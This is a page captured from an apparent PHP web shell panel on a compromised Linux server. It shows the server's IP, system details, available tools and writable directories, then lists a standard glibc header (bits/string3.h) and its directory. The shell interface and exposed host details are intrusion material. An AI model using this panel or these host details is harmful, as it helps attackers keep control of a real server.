p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/bits/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/include/bits/string3.h
/* Copyright (C) 2004, 2005, 2007, 2009, 2010, 2012 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

#ifndef _STRING_H
# error "Never use <bits/string3.h> directly; include <string.h> instead."
#endif

__warndecl (__warn_memset_zero_len,
	    "memset used with constant zero length parameter; this could be due to transposed parameters");

#ifndef __cplusplus
/* XXX This is temporarily.  We should not redefine any of the symbols
   and instead integrate the error checking into the original
   definitions.  */
# undef memcpy
# undef memmove
# undef memset
# undef strcat
# undef strcpy
# undef strncat
# undef strncpy
# ifdef __USE_GNU
#  undef mempcpy
#  undef stpcpy
# endif
# ifdef __USE_BSD
#  undef bcopy
#  undef bzero
# endif
#endif


__fortify_function void *
__NTH (memcpy (void *__restrict __dest, const void *__restrict __src,
	       size_t __len))
{
  return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));
}

__fortify_function void *
__NTH (memmove (void *__dest, const void *__src, size_t __len))
{
  return __builtin___memmove_chk (__dest, __src, __len, __bos0 (__dest));
}

#ifdef __USE_GNU
__fortify_function void *
__NTH (mempcpy (void *__restrict __dest, const void *__restrict __src,
		size_t __len))
{
  return __builtin___mempcpy_chk (__dest, __src, __len, __bos0 (__dest));
}
#endif


/* The first two tests here help to catch a somewhat common problem
   where the second and third parameter are transposed.  This is
   especially problematic if the intended fill value is zero.  In this
   case no work is done at all.  We detect these problems by referring
   non-existing functions.  */
__fortify_function void *
__NTH (memset (void *__dest, int __ch, size_t __len))
{
  if (__builtin_constant_p (__len) && __len == 0
      && (!__builtin_constant_p (__ch) || __ch != 0))
    {
      __warn_memset_zero_len ();
      return __dest;
    }
  return __builtin___memset_chk (__dest, __ch, __len, __bos0 (__dest));
}

#ifdef __USE_BSD
__fortify_function void
__NTH (bcopy (const void *__src, void *__dest, size_t __len))
{
  (void) __builtin___memmove_chk (__dest, __src, __len, __bos0 (__dest));
}

__fortify_function void
__NTH (bzero (void *__dest, size_t __len))
{
  (void) __builtin___memset_chk (__dest, '\0', __len, __bos0 (__dest));
}
#endif

__fortify_function char *
__NTH (strcpy (char *__restrict __dest, const char *__restrict __src))
{
  return __builtin___strcpy_chk (__dest, __src, __bos (__dest));
}

#ifdef __USE_GNU
__fortify_function char *
__NTH (stpcpy (char *__restrict __dest, const char *__restrict __src))
{
  return __builtin___stpcpy_chk (__dest, __src, __bos (__dest));
}
#endif


__fortify_function char *
__NTH (strncpy (char *__restrict __dest, const char *__restrict __src,
		size_t __len))
{
  return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest));
}

// XXX We have no corresponding builtin yet.
extern char *__stpncpy_chk (char *__dest, const char *__src, size_t __n,
			    size_t __destlen) __THROW;
extern char *__REDIRECT_NTH (__stpncpy_alias, (char *__dest, const char *__src,
					       size_t __n), stpncpy);

__fortify_function char *
__NTH (stpncpy (char *__dest, const char *__src, size_t __n))
{
  if (__bos (__dest) != (size_t) -1
      && (!__builtin_constant_p (__n) || __n <= __bos (__dest)))
    return __stpncpy_chk (__dest, __src, __n, __bos (__dest));
  return __stpncpy_alias (__dest, __src, __n);
}


__fortify_function char *
__NTH (strcat (char *__restrict __dest, const char *__restrict __src))
{
  return __builtin___strcat_chk (__dest, __src, __bos (__dest));
}


__fortify_function char *
__NTH (strncat (char *__restrict __dest, const char *__restrict __src,
		size_t __len))
{
  return __builtin___strncat_chk (__dest, __src, __len, __bos (__dest));
}
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:20
0 / 0
0755
a.out.h
0.262 KB
June 04 2024 14:43:12
0 / 0
0644
byteswap-16.h
1.686 KB
June 04 2024 14:43:10
0 / 0
0644
byteswap.h
5.556 KB
June 04 2024 14:43:10
0 / 0
0644
cmathcalls.h
4.701 KB
June 04 2024 14:43:07
0 / 0
0644
confname.h
23.194 KB
June 04 2024 14:43:11
0 / 0
0644
dirent.h
1.688 KB
June 04 2024 14:43:10
0 / 0
0644
dlfcn.h
2.467 KB
June 04 2024 14:43:09
0 / 0
0644
elfclass.h
0.416 KB
June 04 2024 14:43:49
0 / 0
0644
endian.h
0.172 KB
June 04 2024 14:43:10
0 / 0
0644
environments.h
3.5 KB
June 04 2024 14:43:11
0 / 0
0644
epoll.h
1.112 KB
June 04 2024 14:43:12
0 / 0
0644
errno.h
2.112 KB
June 04 2024 14:43:08
0 / 0
0644
error.h
2.621 KB
June 04 2024 14:43:12
0 / 0
0644
eventfd.h
1.102 KB
June 04 2024 14:43:12
0 / 0
0644
fcntl-linux.h
12.555 KB
June 04 2024 14:43:11
0 / 0
0644
fcntl.h
2.192 KB
June 04 2024 14:43:11
0 / 0
0644
fcntl2.h
5.444 KB
June 04 2024 14:43:11
0 / 0
0644
fenv.h
3.938 KB
June 04 2024 14:43:07
0 / 0
0644
fenvinline.h
0.186 KB
June 04 2024 14:43:07
0 / 0
0644
huge_val.h
1.83 KB
June 04 2024 14:43:07
0 / 0
0644
huge_valf.h
1.791 KB
June 04 2024 14:43:07
0 / 0
0644
huge_vall.h
1.57 KB
June 04 2024 14:43:07
0 / 0
0644
hwcap.h
0.943 KB
June 04 2024 14:43:12
0 / 0
0644
in.h
9.007 KB
June 04 2024 14:43:47
0 / 0
0644
inf.h
1.031 KB
June 04 2024 14:43:07
0 / 0
0644
initspin.h
0.024 KB
June 04 2024 14:43:11
0 / 0
0644
inotify.h
1.054 KB
June 04 2024 14:43:12
0 / 0
0644
ioctl-types.h
2.41 KB
June 04 2024 14:43:12
0 / 0
0644
ioctls.h
4.385 KB
June 04 2024 14:43:12
0 / 0
0644
ipc.h
2.006 KB
June 04 2024 14:43:12
0 / 0
0644
ipctypes.h
1.143 KB
June 04 2024 14:43:12
0 / 0
0644
libc-lock.h
12.543 KB
October 19 2011 11:04:41
0 / 0
0644
libio-ldbl.h
0.99 KB
June 04 2024 14:43:09
0 / 0
0644
link.h
4.197 KB
June 04 2024 14:43:49
0 / 0
0644
local_lim.h
3.129 KB
June 04 2024 14:43:11
0 / 0
0644
locale.h
1.335 KB
June 04 2024 14:43:01
0 / 0
0644
math-finite.h
14.24 KB
June 04 2024 14:43:07
0 / 0
0644
mathcalls.h
11.303 KB
June 04 2024 14:43:07
0 / 0
0644
mathdef.h
2.138 KB
June 04 2024 14:43:07
0 / 0
0644
mathinline.h
30.86 KB
June 04 2024 14:43:07
0 / 0
0644
mman.h
4.778 KB
June 04 2024 14:43:12
0 / 0
0644
monetary-ldbl.h
1.017 KB
June 04 2024 14:43:08
0 / 0
0644
mqueue.h
1.216 KB
June 04 2024 14:43:45
0 / 0
0644
mqueue2.h
2.106 KB
June 04 2024 14:43:45
0 / 0
0644
msq.h
2.47 KB
June 04 2024 14:43:12
0 / 0
0644
nan.h
1.537 KB
June 04 2024 14:43:07
0 / 0
0644
netdb.h
1.252 KB
June 04 2024 14:43:44
0 / 0
0644
param.h
1.398 KB
June 04 2024 14:43:12
0 / 0
0644
poll.h
2.039 KB
June 04 2024 14:43:11
0 / 0
0644
poll2.h
2.862 KB
June 04 2024 14:43:11
0 / 0
0644
posix1_lim.h
4.807 KB
June 04 2024 14:43:11
0 / 0
0644
posix2_lim.h
2.817 KB
June 04 2024 14:43:11
0 / 0
0644
posix_opt.h
5.648 KB
June 04 2024 14:43:11
0 / 0
0644
printf-ldbl.h
0.963 KB
June 04 2024 14:43:09
0 / 0
0644
pthreadtypes.h
6.328 KB
June 04 2024 14:43:11
0 / 0
0644
resource.h
9.214 KB
June 04 2024 14:43:12
0 / 0
0644
sched.h
7.366 KB
June 04 2024 14:43:11
0 / 0
0644
select.h
2.075 KB
June 04 2024 14:43:12
0 / 0
0644
select2.h
1.404 KB
June 04 2024 14:43:12
0 / 0
0644
sem.h
2.526 KB
June 04 2024 14:43:12
0 / 0
0644
semaphore.h
1.209 KB
June 04 2024 14:43:44
0 / 0
0644
setjmp.h
1.257 KB
June 04 2024 14:43:08
0 / 0
0644
setjmp2.h
1.665 KB
June 04 2024 14:43:08
0 / 0
0644
shm.h
3.437 KB
June 04 2024 14:43:12
0 / 0
0644
sigaction.h
2.785 KB
June 04 2024 14:43:08
0 / 0
0644
sigcontext.h
4.076 KB
June 04 2024 14:43:08
0 / 0
0644
siginfo.h
9.813 KB
June 04 2024 14:43:08
0 / 0
0644
signalfd.h
1.041 KB
June 04 2024 14:43:12
0 / 0
0644
signum.h
3.337 KB
June 04 2024 14:43:08
0 / 0
0644
sigset.h
4.479 KB
June 04 2024 14:43:08
0 / 0
0644
sigstack.h
1.492 KB
June 04 2024 14:43:08
0 / 0
0644
sigthread.h
1.636 KB
June 04 2024 14:43:08
0 / 0
0644
sockaddr.h
1.497 KB
June 04 2024 14:43:12
0 / 0
0644
socket.h
12.603 KB
June 04 2024 14:43:12
0 / 0
0644
socket2.h
2.954 KB
June 04 2024 14:43:12
0 / 0
0644
socket_type.h
2.163 KB
June 04 2024 14:43:12
0 / 0
0644
stab.def
8.822 KB
June 04 2024 14:43:12
0 / 0
0644
stat.h
7.462 KB
June 04 2024 14:43:11
0 / 0
0644
statfs.h
1.891 KB
June 04 2024 14:43:11
0 / 0
0644
statvfs.h
3.342 KB
June 04 2024 14:43:11
0 / 0
0644
stdio-ldbl.h
3.106 KB
June 04 2024 14:43:09
0 / 0
0644
stdio-lock.h
2.136 KB
June 04 2024 14:41:10
0 / 0
0644
stdio.h
5.451 KB
June 04 2024 14:43:09
0 / 0
0644
stdio2.h
12.361 KB
June 04 2024 14:43:09
0 / 0
0644
stdio_lim.h
1.341 KB
June 04 2024 14:43:09
0 / 0
0644
stdlib-float.h
1.124 KB
June 04 2024 14:43:08
0 / 0
0644
stdlib-ldbl.h
1.362 KB
June 04 2024 14:43:08
0 / 0
0644
stdlib.h
5.532 KB
June 04 2024 14:43:08
0 / 0
0644
string.h
56.479 KB
June 04 2024 14:43:10
0 / 0
0644
string2.h
46.082 KB
June 04 2024 14:43:10
0 / 0
0644
string3.h
4.385 KB
June 04 2024 14:43:10
0 / 0
0644
sys_errlist.h
1.187 KB
June 04 2024 14:43:09
0 / 0
0644
syscall.h
43.027 KB
June 04 2024 14:43:12
0 / 0
0644
sysctl.h
0.872 KB
June 04 2024 14:43:12
0 / 0
0644
syslog-ldbl.h
1.175 KB
June 04 2024 14:43:12
0 / 0
0644
syslog-path.h
1.03 KB
June 04 2024 14:43:12
0 / 0
0644
syslog.h
1.656 KB
June 04 2024 14:43:12
0 / 0
0644
termios.h
5.227 KB
June 04 2024 14:43:11
0 / 0
0644
time.h
3.346 KB
June 04 2024 14:43:10
0 / 0
0644
timerfd.h
1.076 KB
June 04 2024 14:43:12
0 / 0
0644
timex.h
4.364 KB
June 04 2024 14:43:10
0 / 0
0644
types.h
7.548 KB
June 04 2024 14:43:11
0 / 0
0644
typesizes.h
3.149 KB
June 04 2024 14:43:11
0 / 0
0644
uio.h
2.422 KB
June 04 2024 14:43:12
0 / 0
0644
unistd.h
13.07 KB
June 04 2024 14:43:11
0 / 0
0644
ustat.h
1.064 KB
June 04 2024 14:43:12
0 / 0
0644
utmp.h
3.874 KB
June 04 2024 14:43:49
0 / 0
0644
utmpx.h
3.379 KB
June 04 2024 14:43:49
0 / 0
0644
utsname.h
1.19 KB
June 04 2024 14:43:11
0 / 0
0644
waitflags.h
1.609 KB
June 04 2024 14:43:11
0 / 0
0644
waitstatus.h
3.488 KB
June 04 2024 14:43:11
0 / 0
0644
wchar-ldbl.h
2.448 KB
June 04 2024 14:43:10
0 / 0
0644
wchar.h
1.106 KB
June 04 2024 14:43:10
0 / 0
0644
wchar2.h
20.043 KB
June 04 2024 14:43:10
0 / 0
0644
wordsize.h
0.319 KB
June 04 2024 14:43:08
0 / 0
0644
xopen_lim.h
3.682 KB
June 04 2024 14:43:00
0 / 0
0644